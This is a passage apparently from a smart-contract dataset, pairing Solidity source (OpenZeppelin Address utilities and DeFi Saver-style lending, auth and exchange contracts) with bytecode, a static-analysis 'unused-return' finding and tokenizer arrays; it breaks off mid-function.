which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122058fa0e5c995556f89fc2b1c05dc8f8a1080f0f97c680cf8823c1bfdf84a204cb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 7875, 16409, 22610, 18139, 2509, 2497, 26224, 2546, 18939, 18827, 2094, 2620, 3207, 2509, 12879, 3401, 2683, 2581, 2575, 2683, 11057, 2683, 22394, 2497, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 2079, 23314, 3654, 22414, 2532, 1063, 1013, 1013, 2079, 23314, 3654, 22414, 2532, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 10790, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,640
0x971bd50d9a14d48b6bc4c4cba65ba2bf00a43ed6
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); // function mint() external virtual payable; function accrueInterest() public virtual returns (uint); function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } abstract contract ILoanShifter { function getLoanAmount(uint, address) public virtual returns (uint); function getUnderlyingAsset(address _addr) public view virtual returns (address); } abstract contract DSProxyInterface { /// Truffle wont compile if this isn't commented // function execute(bytes memory _code, bytes memory _data) // public virtual // payable // returns (address, bytes32); function execute(address _target, bytes memory _data) public virtual payable returns (bytes32); function setCache(address _cacheAddr) public virtual payable returns (bool); function owner() public virtual returns (address); } abstract contract Vat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } abstract contract Manager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } constructor() public { owner = msg.sender; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } abstract contract DSGuard { function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool); function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function permit(address src, address dst, bytes32 sig) public virtual; function forbid(address src, address dst, bytes32 sig) public virtual; } abstract contract DSGuardFactory { function newGuard() public virtual returns (DSGuard guard); } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract ProxyPermission { address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; /// @notice Called in the context of DSProxy to authorize an address /// @param _contractAddr Address which will be authorized function givePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } /// @notice Called in the context of DSProxy to remove authority of an address /// @param _contractAddr Auth address which will be removed from authority list function removePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); // if there is no authority, that means that contract doesn't have permission if (currAuthority == address(0)) { return; } DSGuard guard = DSGuard(currAuthority); guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } abstract contract TokenInterface { function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } interface ExchangeInterfaceV2 { function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } contract SaverExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function approve0xProxy(address _tokenAddr, uint _amount) internal { if (_tokenAddr != KYBER_ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } contract SaverExchangeCore is SaverExchangeHelper, DSMath { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct ExchangeData { address srcAddr; address destAddr; uint srcAmount; uint destAmount; uint minPrice; address wrapper; address exchangeAddr; bytes callData; uint256 price0x; } /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; uint tokensLeft = exData.srcAmount; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } // Try 0x first and then fallback on specific wrapper if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount); (success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL); if (success) { 